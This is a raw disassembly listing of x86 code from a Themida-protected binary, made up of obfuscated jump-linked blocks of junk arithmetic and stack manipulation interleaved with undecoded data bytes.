; ---------------------------------------------------------------------------


loc_556221:				; CODE XREF: Themida_:0055DE70j
		push	edx
		mov	edx, 0C018A785h
		add	esi, edx
		jmp	loc_556F18
; ---------------------------------------------------------------------------


loc_55622E:				; CODE XREF: Themida_:0055375Aj
		not	ebp
		sub	ebp, 26445305h
		sub	ebp, 7C524928h
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_552DD8
		push	ecx
		push	3A16h
		mov	[esp], ebp
		mov	ebp, 4F7B1013h
		push	ebp
		jmp	loc_557498
; ---------------------------------------------------------------------------
		db 68h
		dd 8D2DB211h, 5FF90159h, 3136EB81h, 0CB010165h,	3136C381h
		dd 68590165h, 6FE1h, 0FF241C89h, 0E9042474h, 5FB2h, 6624248Bh
		dd 66C8AF0Fh, 5DE99C51h, 50FFFFC7h, 993C57B8h, 58C1097Dh
		dd 7ED3BF57h, 0F9317DF9h, 81243C8Bh, 4C4h, 8BCB0100h, 0C483240Ch
		dd 82D2E904h, 0C6830000h, 0CECE81FFh, 0E97E3C7Dh, 0FFFFE63Dh
; ---------------------------------------------------------------------------


loc_5562C8:				; CODE XREF: Themida_:0055540Bj
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_55CA5B
; ---------------------------------------------------------------------------


loc_5562D5:				; CODE XREF: Themida_:00552A19j
		mov	esi, 117B1179h
		add	[esp+8], esi
		jmp	loc_55C43F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55BF02
; ---------------------------------------------------------------------------
		db 0B4h
		dd 58E10012h, 5A02E980h, 0C6E9902Ch, 33FFFFF2h,	1C31241Ch
		dd 241C3324h, 2404005Ch, 6D84E99Ch, 3AB90000h, 0E9444E47h
		dd 416Ch, 7A046856h, 14890000h,	678DBA24h, 736860CDh, 0E99DE7B6h
		dd 1ACBh, 66EBD166h, 1F5AF381h,	0FFE4E2E9h, 0F3295EFFh
		dd 406C381h, 348B4DB0h,	0F383E924h, 0E95EFFFFh,	63F7h
		dd 2077B951h, 0D1F75CBEh, 8904EC83h, 42BD242Ch,	450F4278h
		dd 76A1E9h, 4C48300h, 81B1E948h, 0C4810000h, 2,	24048F66h
		dd 0FFC489E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556385:				; CODE XREF: Themida_:00557A38j
		push	edi
		mov	edi, 4C3F09A2h
		jmp	loc_559F90
; ---------------------------------------------------------------------------


loc_556390:				; CODE XREF: Themida_:0055CDD0j
		pop	eax
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_555A18
; ---------------------------------------------------------------------------
		db 86h
		dd 66D188E2h, 8324148Bh, 536602C4h, 4C8ACB88h, 5C880224h
		dd 5B660224h, 0FFC455E9h, 6E9C1FFh, 7184E981h, 0C1815D51h
		dd 5CBD3FA2h, 48D7E981h, 0C1817D1Fh, 487934C7h,	49EC68h
		dd 338DE900h, 30B90000h, 8139331Ah, 1A06FBEBh, 0CDF9E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5563EE:				; CODE XREF: Themida_:005549F4j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55B360
; ---------------------------------------------------------------------------


loc_556403:				; CODE XREF: Themida_:00552FCEj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 10h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_555467
; ---------------------------------------------------------------------------
		dd 157E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556432:				; CODE XREF: Themida_:0055B7DAj
		sub	ebx, 10400638h
		add	edx, 3AC13FFDh
		add	edx, 349861FCh
		sub	edx, 37597FB7h
		add	edx, ebx
		jmp	loc_559D76
; ---------------------------------------------------------------------------


loc_556451:				; CODE XREF: Themida_:0055ADA8j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_5576BE
		push	5B69h
		mov	[esp], ecx
		mov	ecx, 4B02637h
		xor	ecx, 77E92F34h
		not	ecx
		sub	ecx, 8CA6F5FEh
		and	[edi+1Ch], ecx
		jmp	loc_5582C3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	7EE9242Ch, 8F000009h, 685C2404h
		dd 4C57h, 7751E9h, 4C18100h, 81000000h,	2E9h, 240C3300h
		dd 33240C31h, 665C240Ch, 81241C89h, 4ECh, 24048900h, 95E953h
		dd 0C7810000h, 3056907Fh, 815FFB01h, 6A0C54F3h,	70BA5238h
		dd 15FB528h, 0EB815AD3h, 0B00BB6ABh, 7619EE81h,	0DE0159F3h
		dd 7619C681h, 0E95B59F3h, 55A2h
; ---------------------------------------------------------------------------


loc_556504:				; CODE XREF: Themida_:0055CD7Cj
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_552A03
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55B60D
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FFC2DDE9h, 815F54FFh, 4C7h,	3FE95300h, 8000001Dh, 1EE9C6E7h
		dd 0BB00004Fh, 0FB8D8936h, 34FFDA01h, 0B1E95B24h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556557:				; CODE XREF: Themida_:005574F8j
		shr	ecx, 7
		push	661h
		mov	[esp], edx
		jmp	loc_55693D
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0C8C0E936h, 9BE9FFFFh, 5AFFFFC2h, 555AD029h,	568BE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55657E:				; CODE XREF: Themida_:0055315Fj
		add	edx, 4
		jmp	loc_55564B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4ECh, 243C8900h, 1A4EE6BFh, 5FF8013Dh, 0B60F66h
		dd 0EE76866h, 24048966h, 0FFC25DE9h, 2474FFFFh,	2434FF04h
		dd 4C48359h, 5C24048Fh,	24148966h, 1A18E9h
		db 0
; ---------------------------------------------------------------------------


loc_5565C9:				; CODE XREF: Themida_:0055BF16j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		add	ebp, 2
		jmp	loc_552DB7
; ---------------------------------------------------------------------------
		db 81h
		dd 6C92D5F2h, 5AD309BBh, 48E5C381h, 0DD0192F0h,	81241C8Bh
		dd 4C4h, 0B9515600h, 2,	159CE89h, 2C875EF5h, 8B665C24h
		dd 89562414h, 314F68E6h, 0C890000h, 3170B924h, 0E1811E3Bh
		dd 60622F85h, 0E908E1C1h, 266Eh, 24743159h, 0C8B5E04h
		dd 0F22DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556636:				; CODE XREF: Themida_:005556CCj
		and	edi, 159C2FF5h
		jmp	loc_552FED
; ---------------------------------------------------------------------------
		db 66h,	1, 0CAh
		dd 0B0E95966h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55664B:				; CODE XREF: Themida_:00559D67j
		pop	ebp
		jmp	loc_554EBC
; ---------------------------------------------------------------------------


loc_556651:				; CODE XREF: Themida_:0055525Dj
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	[edi+eax*4+1], ch
		jmp	loc_555781
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 3611545Ah, 3EE9DBF7h, 68000006h, 75C6h, 0FFF13AE9h
		dd 48F59FFh, 0E9545C24h, 0FFFFC765h, 4AE9E289h,	0FF000038h
		dd 5F042474h, 166AE9h, 4C38100h, 81000000h, 4EBh, 241C8700h
		dd 4760E95Ch, 0C9B60000h, 2EC680h, 505366FEh, 0E7882EB4h
		dd 7471E9h
		db 0
; ---------------------------------------------------------------------------


loc_5566BD:				; CODE XREF: Themida_:00559003j
		push	eax
		mov	eax, esp
		jmp	loc_5543DE
; ---------------------------------------------------------------------------
		db 30h,	0D8h, 51h
		dd 0B05073B1h, 8BC10862h, 0C4812404h, 4, 0E921E980h, 5B5Ch
; ---------------------------------------------------------------------------


loc_5566E0:				; CODE XREF: Themida_:00554570j
		dec	ecx
		jmp	loc_5548F3
; ---------------------------------------------------------------------------


loc_5566E6:				; CODE XREF: Themida_:00557897j
		inc	edx
		shr	edx, 4
		shr	edx, 1
		dec	edx
		jmp	loc_558E57
; ---------------------------------------------------------------------------
		dw 0E992h
		dd 0FFFFDD7Dh, 24048F5Eh, 3CA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_556701:				; CODE XREF: Themida_:0055564Ej
		xchg	edx, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_55280E
; ---------------------------------------------------------------------------


loc_556712:				; CODE XREF: Themida_:0055B2CBj
		xor	ecx, 20AA6B68h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 151C7D42h
		add	ebx, 1A3C5DC9h
		push	242Fh
		mov	[esp], eax
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 89000000h, 241C8BD8h, 4C481h, 0C3010000h, 8324048Bh
		dd 0FF5304C4h, 5B042474h, 5C24048Fh, 582434FFh,	8904EC83h
		dd 89682434h, 0E9000073h, 6ACFh
; ---------------------------------------------------------------------------


loc_556770:				; CODE XREF: Themida_:0055C19Aj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_552C24
		push	ebx
		push	1D952FA3h
		jmp	loc_55D375
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0C0h
		dd 5A6A9B66h, 4C381h, 1C330000h, 241C3124h, 8B241C33h
		dd 0B70F2424h, 3922E9C8h, 0EA810000h, 61535CCh,	0C281CA29h
		dd 61535CCh, 83240C8Bh,	148704C4h, 24248B24h, 0B1240C89h
		dd 1E980EBh, 0B450E1D0h, 0D0C48065h, 0E958E130h, 40CBh
		dd 11FE281h, 0EA817B86h, 115D5D2Fh, 5C93CA81h, 0EAD15F84h
		dd 5250E2D1h, 257CE9h, 0E1B35300h, 0D9307CB1h, 0C16EE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556802:				; CODE XREF: Themida_:0055CCE5j
		sub	dword ptr [esp], 6CE93B40h
		pop	esi
		add	esi, 6CE93B40h
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, esi
		jmp	loc_552A2F
; ---------------------------------------------------------------------------
		dd 0E940478Fh, 0FFFFFD46h, 0B3E9535Bh, 0ACFFFFDCh, 51665366h
		dd 0CF88CDB1h, 240C8B66h, 3EF8E9h
		db 0
; ---------------------------------------------------------------------------


loc_556841:				; CODE XREF: Themida_:00554C7Ej
		add	eax, ebp
		add	eax, 648C698Bh
		pop	ebp
		jmp	loc_55B4EB
; ---------------------------------------------------------------------------


loc_55684E:				; CODE XREF: Themida_:0055B87Aj
		mov	edi, 6ECE5036h
		mov	esi, 0C120ED5Bh
		add	esi, edi
		pop	edi
		jmp	loc_55537F
; ---------------------------------------------------------------------------


loc_556860:				; CODE XREF: Themida_:0055D082j
		mov	edi, edx
		mov	eax, edi
		pop	edi
		jmp	loc_55604B
; ---------------------------------------------------------------------------


loc_55686A:				; CODE XREF: Themida_:005576B9j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_554DFE
; ---------------------------------------------------------------------------
		db 2Ch,	3Ch, 8Bh
		dd 0C481241Ch, 4, 0D8000804h, 3FE9082Ch
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556893:				; CODE XREF: Themida_:0055D626j
		add	edx, 7A262B7Fh
		push	dword ptr [edx]
		sub	dword ptr [esp], 1C9E3AB3h
		mov	eax, [esp]
		jmp	loc_553A71
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4C3F0C90h, 68A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5568B5:				; CODE XREF: Themida_:0055BC04j
		mov	[esp], eax
		jmp	loc_55E78C
; ---------------------------------------------------------------------------


loc_5568BD:				; CODE XREF: Themida_:0055DBECj
		pop	eax
		push	2EF3h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_55BFB0
; ---------------------------------------------------------------------------


loc_5568CD:				; CODE XREF: Themida_:0055578Bj
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 379019D4h, 51BF781h,	0FAE93E3Bh, 0E9FFFFF6h,	0FFFFBF26h
; ---------------------------------------------------------------------------


loc_5568E8:				; CODE XREF: Themida_:00559D71j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_5542B7
; ---------------------------------------------------------------------------
aU7Ksci		db '%U7ÂKéCi',0
		dd 11EB8100h, 8B15DE6Ch, 0C4812434h, 4,	2EB81h,	1C870000h
		dd 24248B24h, 24048966h, 0FFBED1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55693D:				; CODE XREF: Themida_:00556562j
		push	edi
		mov	edi, 2D183360h
		mov	edx, 7AB27B59h
		jmp	loc_558C4E
; ---------------------------------------------------------------------------
		db 64h,	66h, 0Fh
		dd 0E95302B6h, 0FFFFEEA9h
; ---------------------------------------------------------------------------


loc_556958:				; CODE XREF: Themida_:00552CD7j
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_55B276
; ---------------------------------------------------------------------------
aBIlgySa_	db 'éLƒY)Ëéa_',0
		db 0
; ---------------------------------------------------------------------------


loc_55696F:				; CODE XREF: Themida_:00554639j
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	4AE43EA3h
		jmp	loc_556F75
; ---------------------------------------------------------------------------


loc_556983:				; CODE XREF: Themida_:00553514j
		add	ebp, 4
		jmp	loc_555FC8
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFBE7Ah, 0EABEE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55699A:				; CODE XREF: Themida_:00557695j
		mov	eax, 4
		add	edx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55E6A8
; ---------------------------------------------------------------------------
		dd 8924248Bh, 0BF572424h, 4, 4247C01h, 0C6815E5Fh, 4, 4C681h
		dd 34330000h, 24343124h, 8B243433h, 34FF2424h
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	18FAh
		jmp	loc_55CF49
; ---------------------------------------------------------------------------
		db 89h
		dd 3EB850E3h, 485FD661h, 51E9D0F7h, 6600006Bh, 4876653h
		dd 0D0F76624h, 24048766h, 66565B66h, 664086BEh,	4EF9F681h
		dd 81664E66h, 66BEBDEEh, 525EF309h, 6576BA66h, 4036E9h
		db 0
; ---------------------------------------------------------------------------


loc_556A25:				; CODE XREF: Themida_:005536BBj
		xor	edx, 534360Ch
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_559C9B
; ---------------------------------------------------------------------------
		dw 0C824h
		dd 0D9E90D34h, 2D000010h, 43883B81h, 53DCBF57h,	0F6E94DD6h
		dd 54000001h, 83240C8Bh, 0C18104C4h, 4,	3304E983h, 0AFE9240Ch
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556A67:				; CODE XREF: Themida_:00559547j
		push	edx
		push	eax
		push	ebx
		mov	bh, 0FDh
		shl	bh, 2
		not	bh
		add	bh, 66h
		mov	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	dh, ah
		pop	eax
		not	dh
		not	dh
		inc	dh
		shl	dh, 2
		add	dh, 0DAh
		sub	bl, dh
		push	dword ptr [esp]
		jmp	loc_55323F
; ---------------------------------------------------------------------------


loc_556A98:				; CODE XREF: Themida_:00554225j
		xor	ebx, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_557A3D
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0FDh
		dd 813A382Ch, 2B797CF3h, 0C381433Bh, 0FE93362Fh, 78BDE981h
		dd 0D901581Bh, 78BDC181h, 0E95B581Bh, 5610h
; ---------------------------------------------------------------------------


loc_556ACC:				; CODE XREF: Themida_:0055DB4Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esi
		jmp	loc_554B45
; ---------------------------------------------------------------------------
		dw 8105h
		dd 143883Bh, 0FF39E9F8h, 0C781FFFFh, 4BD3610Ah,	3C8BFB01h
		dd 0CBE95124h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556B17:				; CODE XREF: Themida_:00555382j
		add	esi, 0FFFFFFFFh
		jmp	loc_55E5E6
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 347F0907h, 9BF4EB81h, 0D831D4F2h, 3015E9h, 5AD38900h
		dd 7BE9DF01h, 4500001Dh, 4CAEE9h, 35E98100h, 58264E57h
		dd 6C7668h, 5CF3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556B56:				; CODE XREF: Themida_:00555317j
		xor	edx, edi
		jmp	loc_55CD67
; ---------------------------------------------------------------------------


loc_556B5D:				; CODE XREF: Themida_:0055867Bj
		shl	ebx, 8
		push	esi
		mov	esi, 0F65D6BFCh
		sub	ebx, esi
		pop	esi
		add	eax, 2F7844EBh
		sub	eax, 0C95001h
		add	eax, ebx
		add	eax, 0C95001h
		sub	eax, 2F7844EBh
		pop	ebx
		jmp	loc_559823
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 4Fh
		dd 296EDB17h, 35C2E9F3h, 0ED810000h, 0F8E4777Ch, 0E95DEB29h
		dd 1B79h, 8924248Bh, 4E92434h, 80FFFFD2h, 0C22894C2h, 8094EA80h
		dd 48BB3EAh, 4C48124h, 0E9000000h, 0FFFFE477h, 51665866h
		dd 0CF3B966h, 0FFC24AE9h, 242489FFh, 0FFC793E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556BD9:				; CODE XREF: Themida_:00559AC5j
		add	dword ptr [esp], 711D11D4h
		jmp	loc_55D36D
; ---------------------------------------------------------------------------
		db 59h,	68h, 0FDh
		dd 89000004h, 0E389241Ch, 53AFE9h, 0D831AD00h, 6D456853h
		dd 3C890000h, 1141BF24h, 0B95128CEh, 62492AB6h,	1634E9h
		db 0
; ---------------------------------------------------------------------------


loc_556C11:				; CODE XREF: Themida_:00555F6Cj
		shr	ecx, 0Ah
		push	75F7h
		mov	[esp], ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 5B332E9Fh
		sub	esi, 3A8FC8FBh
		push	ebp
		mov	ebp, esi
		mov	edi, ebp
		jmp	loc_55CEC0
; ---------------------------------------------------------------------------
aOs		db 'Oé',9,'+',0
		dw 0E900h
		dd 0FFFFBBBEh, 0C381E389h, 4, 4C381h, 1C870000h, 24248B24h
		dd 5C241C87h, 316568h, 240C8900h, 81E68956h, 4C6h, 355DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C7E:				; CODE XREF: Themida_:005584C4j
		pop	esi
		push	eax
		push	esp
		pop	eax
		jmp	loc_55AC84
; ---------------------------------------------------------------------------


loc_556C87:				; CODE XREF: Themida_:00555FD8j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_55B828
; ---------------------------------------------------------------------------
		dd 0EB81EBD1h, 6AF34F2h, 5504E3C1h, 0FFED73E9h,	0B9BA52FFh
		dd 0E912CC74h, 5E2Ch, 8575E9BFh, 5FF80124h, 2C0CD02Dh
		dd 4335A50h, 24043124h,	0E9240433h, 3820h, 6624248Bh, 6824048Bh
		dd 0C46h, 89243489h, 4EC83E6h, 57241489h, 7163E9h
		db 0
; ---------------------------------------------------------------------------


loc_556CF1:				; CODE XREF: Themida_:0055CEBBj
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_558C3C
; ---------------------------------------------------------------------------
		db 50h
		dd 65DAB866h, 50C72D66h, 58C20166h, 0FFD2BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556D0D:				; CODE XREF: Themida_:0055CFD9j
		jmp	loc_55280E
; ---------------------------------------------------------------------------


loc_556D12:				; CODE XREF: Themida_:00554E18j
		mov	edx, edi
		mov	ecx, edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_55AFB5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8300h, 0FFF369E9h, 57B951FFh, 8129A935h, 381911C1h
		dd 0FAE1810Ch, 0C11E2265h, 0F18105E1h, 0F303C1D7h, 0FFEA1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556D4D:				; CODE XREF: Themida_:00556F00j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	ebx, eax
		jmp	loc_55A516
; ---------------------------------------------------------------------------


loc_556D5B:				; CODE XREF: Themida_:00557173j
		mov	[esp], ecx
		mov	ch, 34h
		sub	ch, 1
		sub	esp, 2
		mov	[esp], ax
		mov	ah, 5Bh
		push	eax
		mov	al, 6Dh
		or	al, 1Dh
		jmp	loc_55E407
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0FFE1BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556D7D:				; CODE XREF: Themida_:0055B193j
		add	ebx, 0C64BF296h
		xor	edx, ebx
		pop	ebx
		jmp	loc_557422
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2424D3h, 0FFBA79E9h, 0EC8359FFh, 24348904h, 0E748FEBEh
		dd 6C68159h, 1A618B7h, 644BE9F1h, 74FF0000h, 8F590424h
		dd 545C2404h, 8324048Fh, 0E9042404h, 170Ch
; ---------------------------------------------------------------------------


loc_556DC4:				; CODE XREF: Themida_:0055BF8Cj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D4A5
; ---------------------------------------------------------------------------


loc_556DDF:				; CODE XREF: Themida_:00553FC3j
		add	edi, 4
		jmp	loc_5574E9
; ---------------------------------------------------------------------------


loc_556DEA:				; CODE XREF: Themida_:00554CEBj
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		dd offset dword_445750+1818h
		dw 8900h
		dd 0EC83241Ch, 243C8904h, 1C2CE9h, 2434FF00h, 0FFC34BE9h
		dd 4EC83FFh, 83242489h,	5D042404h, 4C581h, 0BF570000h
		dd 2, 8DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556E35:				; CODE XREF: Themida_:00558889j
		push	esi
		push	eax
		mov	eax, 0
		mov	esi, eax
		pop	eax
		sub	esi, ecx
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 7563311Eh
		jmp	loc_55E427
; ---------------------------------------------------------------------------


loc_556E57:				; CODE XREF: Themida_:0055B08Ej
		pop	esi
		shl	edi, 2
		and	edi, 6AB722B1h
		shl	edi, 1
		dec	edi
		sub	edi, 5F311089h
		sub	ebp, edi
		pop	edi
		sub	ecx, ebp
		jmp	loc_5547D1
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	4682414h, 5A000000h
		dd 0E95AD001h, 6A7Ch, 0E2C1D2F7h, 81DAF706h, 486B39EAh
		dd 5AD00960h, 3502E0C1h, 3EA6CA28h, 0F758C201h,	9AEA81DAh
		dd 2954607Ch, 2434FFD3h, 2063E95Ah, 0FD010000h,	81243C8Bh
		dd 4C4h, 5D545500h, 4C581h, 1AE90000h, 80000056h, 0EB80D6C3h
		dd 4331E90Bh, 0E95B0000h, 472Ch
; ---------------------------------------------------------------------------


loc_556EEC:				; CODE XREF: Themida_:00552FF7j
		sub	esi, edi
		add	esi, 2051733Eh
		pop	edi
		mov	edi, esi
		pop	esi
		add	edi, 0D15BC555h
		add	eax, edi
		jmp	loc_556D4D
; ---------------------------------------------------------------------------
aCsI		db 'Ñæé(i',0
		align 4
		dd 5F2434FFh, 0E9E18951h, 73CFh
; ---------------------------------------------------------------------------


loc_556F18:				; CODE XREF: Themida_:00556229j
		pop	edx
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5573E3
; ---------------------------------------------------------------------------


loc_556F24:				; CODE XREF: Themida_:005529C0j
		pop	ecx
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_559D6C
; ---------------------------------------------------------------------------


loc_556F32:				; CODE XREF: Themida_:0055E6ECj
		sub	ebp, 0AC986DCEh
		add	esi, ebp
		pop	ebp
		jmp	loc_55C5E0
; ---------------------------------------------------------------------------


loc_556F40:				; CODE XREF: Themida_:00552FB1j
		xor	esi, edx
		jmp	loc_55E223
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F68103E6h, 0B76562Fh, 15EF529h, 0BFD0E9EBh,	0D635FFFFh
		dd 57A7B35h, 3561273Fh,	0E958C329h, 0FFFFDE3Eh,	24048B66h
		dd 49D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_556F75:				; CODE XREF: Themida_:0055697Ej
		pop	edx
		mov	edi, edx
		pop	edx
		add	edi, 772F10ADh
		shr	edi, 3
		xor	edi, 184269EEh
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		push	0FFFFFFFFh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 0C6336C9h
		jmp	loc_55951E
; ---------------------------------------------------------------------------
		db 66h
		dd 4BE9028Fh, 66FFFFB8h, 660E95B9h, 4966D9F7h, 74F18166h
		dd 0E981667Ch, 81663AEEh, 66114FF1h, 161DF181h,	59C82966h
		dd 0C043E95Bh, 6E68FFFFh, 0E9000026h, 5CC1h
; ---------------------------------------------------------------------------


loc_556FF4:				; CODE XREF: Themida_:0055D474j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_55322E
; ---------------------------------------------------------------------------
		db 1, 0C2h, 58h
aQrs2		db 'QRé¹2',0
		dw 5200h
		dd 1CE9DA88h, 80000034h, 0CC8070C4h, 8EEC8007h,	8034C480h
		dd 0E68861ECh, 0EB805866h, 80F3287Dh, 0F9E97DC3h, 9FFFFD6h
		dd 2434FFF1h, 8324348Bh, 0C48104C4h, 4,	710CE9h, 0DAF58100h
		dd 216A883Eh, 2C8B1C6Fh, 44E95024h, 0AD000015h,	72F4EE81h
		dd 29E94CF0h, 0F6FFFFEEh, 0D93CE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557076:				; CODE XREF: Themida_:0055D00Dj
		push	eax
		mov	eax, 12FA12E6h
		push	esi
		jmp	loc_552E4D
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0CFF6624h, 7FE99C24h, 8FFFFFB7h, 0B778E902h,	0DE89FFFFh
		dd 0FAE7E95Bh, 8B66FFFFh, 0EC83240Ch, 242C8904h, 4E22E9h
		dd 0ACC28100h, 10B3462h, 0ACEA81CAh, 810B3462h,	148ECC2h
		dd 5CC28142h, 596CC958h, 2474FF52h, 10C3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5570D2:				; CODE XREF: Themida_:0055495Cj
		mov	[esp], ebp
		jmp	loc_55942E
; ---------------------------------------------------------------------------
		dw 0C2BEh
		dd 55395412h, 271049BDh, 81DDF729h, 0A18B71C5h,	5DEE2956h
		dd 0DA87D687h, 0DA87DBF7h, 0E95E5256h, 0FFFFB9D1h, 4C681h
		dd 0C6810000h, 4, 31243433h, 34332434h,	6CE3E924h, 0C7B90000h
		dd 0C153904Dh, 814902E9h, 0BCEA2EE9h, 59C889B8h, 0AA4DC20Dh
		dd 3A400515h, 0D535547Eh, 9BE8FFBh, 0BD5558C6h,	77081FAFh
		dd 5EBE5645h, 15E2EE1h,	0EE295EF5h, 66E9h, 2434FF00h, 4C48159h
		dd 0E9000000h, 276Fh, 81E38953h, 4C3h, 644CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557172:				; CODE XREF: Themida_:0055A662j
		pop	esp
		jmp	loc_556D5B
; ---------------------------------------------------------------------------
		dd 89EB8953h, 0C7FDE9DEh, 0DFF7FFFFh, 8101C783h, 0DB8D95C7h
		dd 0E9F831EEh, 69EBh, 0D5C3815Eh, 81509F61h, 650BABEBh
		dd 0E9F32915h, 0FFFFD578h, 51243C8Bh, 6DE9E189h, 8B00001Ah
		dd 0F5E92434h, 5D00005Fh, 55EF001h, 71527CDBh, 0DB2DC801h
		dd 2D71527Ch, 297C5EC9h, 9C7E9h, 4BE5600h, 52000000h, 9E2FB2BAh
		dd 0CA814239h, 13D02AA5h, 2F83C281h, 0C0E937CFh
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5571F3:				; CODE XREF: Themida_:005573DEj
		xor	eax, ecx
		jmp	loc_557C76
; ---------------------------------------------------------------------------
		dw 0D301h
